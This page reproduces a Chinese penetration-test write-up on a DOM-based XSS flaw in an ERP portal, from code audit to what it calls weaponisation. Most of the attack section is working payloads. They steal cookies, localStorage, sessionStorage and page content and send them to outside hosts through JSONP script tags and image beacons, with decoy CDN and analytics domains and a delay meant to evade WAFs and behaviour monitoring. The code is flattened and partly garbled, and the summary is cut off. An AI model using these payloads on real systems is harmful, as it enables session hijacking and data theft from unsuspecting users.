当前位置: 首页 > news >正文

DOM型XSS深度渗透实战

声明

本文章所分享内容仅用于网络安全相关的技术讨论和学习,注意,切勿用于违法途径,所有渗透测试都需要获取授权,违者后果自行承担,与本文章及作者无关,请谨记守法。

1. 概述

在一次针对甲方ERP系统的渗透测试中,我发现了一个隐秘的DOM型XSS漏洞。这种表面无害的漏洞通过巧妙构造的Payload,能够绕过同源策略、突破CSP防御,最终实现敏感数据自动化收割并发送到攻击者服务器。本文将完整呈现漏洞从发现到武器化的全路径攻击链。

2. 正文

0x01 漏洞发现:静态代码审计

漏洞代码定位:

// 高危渲染逻辑(核心系统模块)function getAppProps() {web.portal.appProps = skysz.ajax.getSync("./web/portal/appProps");skysz.$("app.name").innerHTML = web.portal.appProps.appName;document.title = skysz.$("app.name").innerText;

漏洞成因分析

  • 信任后端返回数据,未做消毒处理
  • 使用.innerHTML渲染不可控内容
  • API响应头缺失X-Content-Type-Options: nosniff

致命漏洞链:
后端JSON接口 → 前端innerHTML渲染 → DOM解析执行
当接口返回appName: '<img οnerrοr=恶意代码>'时,立即触发XSS

0x02 漏洞验证
// 劫持接口返回实现弹窗验证
Object.defineProperty(web.portal, 'appProps', {  get: () => ({ appName: '<img src=x onerror=alert(window.origin)>' })});//触发弹窗
getAppProps();

0x03 数据外泄多种姿势

1、JSONP协议(跨域数据劫持)

Object.defineProperty(web.portal, 'appProps', {get: () => ({appName: `<img src=x onerror="const script = document.createElement('script');script.src = 'https://legit-cdn.org/log?callback=__exfil&data=' + btoa(JSON.stringify({storage: localStorage,sessions: sessionStorage}));document.body.appendChild(script);">`})
});//创新方案:伪装合法的CDN请求规避WAF检测

2、图片信标突破(隐蔽+长度优化)

<JAVASCRIPT>
Object.defineProperty(web.portal, 'appProps', {get: () => ({appName: `<img src=x onerror="(function(){// 双通道智能备份传输const data = {cookies: document.cookie,ls: localStorage,ss: sessionStorage};// 通道1:JSONP主力传输(完整数据)const jsonpScript = document.createElement('script');jsonpScript.src = 'https://cdn.trusted.com/analytics.js?' + 'cid=${Math.random().toString(36).substr(2)}&' +'data=' + btoa(JSON.stringify(data));// 通道2:图片信标备份(关键数据)const beaconImg = new Image();beaconImg.src = 'https://log.tracking.com/pixel.gif?' +'c=' + encodeURIComponent(data.cookies);setTimeout(() => {document.head.appendChild(jsonpScript);document.body.appendChild(beaconImg);}, 2000); // 延时触发绕过行为监控})();">`})
});

3、混合传输模式:随机切换JSONP/Image

Object.defineProperty(web.portal, 'appProps', {get: () => ({appName: `<img src=x onerror="(function(){// 组合敏感数据const payload = {cookie: document.cookie,storage: JSON.stringify(localStorage),dom: document.documentElement.innerHTML.slice(0,2000)};// 多路传输保障const jsonpFn = () => {const s = document.createElement('script');s.src = 'http://10.191.129.67:8000/j?d='+btoa(JSON.stringify(payload))+'&t='+Date.now();};const imgFn = () => {new Image().src = 'http://10.191.129.67:8000/i.gif?c='+encodeURIComponent(payload.cookie);};// 随机化传输策略Math.random() > 0.5 ? jsonpFn() : imgFn();})();">`})
});

4、数据外带核心总结

3. 总结

漏洞挖掘规则:

1. **动态渲染点追踪**:- 全局搜索`.innerHTML`、`.outerHTML`、`document.write`- 检查Vue/React的`v-html`和`dangerouslySetInnerHTML`2. **API响应可控性验证**:- 修改后端返回的JSON内容- 测试XSS向量在不同上下文的触发情况3. **同源策略突破路径**:```javascript// 四重渗透路径检测const CHANNELS = ['fetch','WebSocket','navigator.sendBeacon','new Image()'];

4. 结语

愿诸君以深度防御为盾,以持续审计为刃,在代码构建的数字迷宫中,搭建不可逾越的安全长城。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.dtcms.com/a/254645.html

相关文章:

  • DL00215-基于YOLOv11的太阳能电池红外异常检测含数据集
  • 不同AI架构如何选择?单Agent+MCP“与“多Agent“架构对比分析!
  • GDB 简介与使用示例:程序调试从这里开始!
  • python使用pydantic库结合fastApi实现接口参数验证
  • 华为OD机试-最佳植树距离-二分(JAVA 2025A卷)
  • Linux:信号和线程
  • Hive优化详细讲解
  • AI与大数据如何驱动工业品电商平台的智能决策?
  • WRF-Hydro分布式水文模型:洪水预报、水资源管理与规划、生态水文研究、气候变化影响评估、流域综合管理、水电工程规划与运行
  • C++问题:深拷贝和浅拷贝
  • 华为网路设备学习-25(路由器OSPF - 特性专题 二)
  • 【图像处理入门】11. 深度学习初探:从CNN到GAN的视觉智能之旅
  • 超高速10G采集卡
  • 《记者观察》期刊投稿
  • ③-1实现 FastAdmin 默认开启通用搜索功能的方法
  • python3控制流程
  • 教师办工专用 资源包|课件+手抄报+PPT模板+常用表格 PDF格式93GB
  • Java八股文——计算机网络「网络攻击篇」
  • 数据结构 6(算法)
  • 计算机网络 网络层:数据平面(一)
  • Samba
  • Spark 在小众日常场景中的实战应用:从小店数据到社区活动
  • 对gateway和nocas的理解
  • 如何利用 Java 爬虫按关键字搜索 Amazon 商品:实战指南
  • 惠普HP Laser 105a打印机信息
  • Qt数据库
  • WinUI3入门6:子线程处理UI 窗口加载后执行 获取和设置控件尺寸 自动生成事件代码框架
  • 解锁微服务潜能:深入浅出 Nacos
  • 从“看懂”到“行动”: VLM 与 VLA
  • 吃透 Golang 基础:Goroutine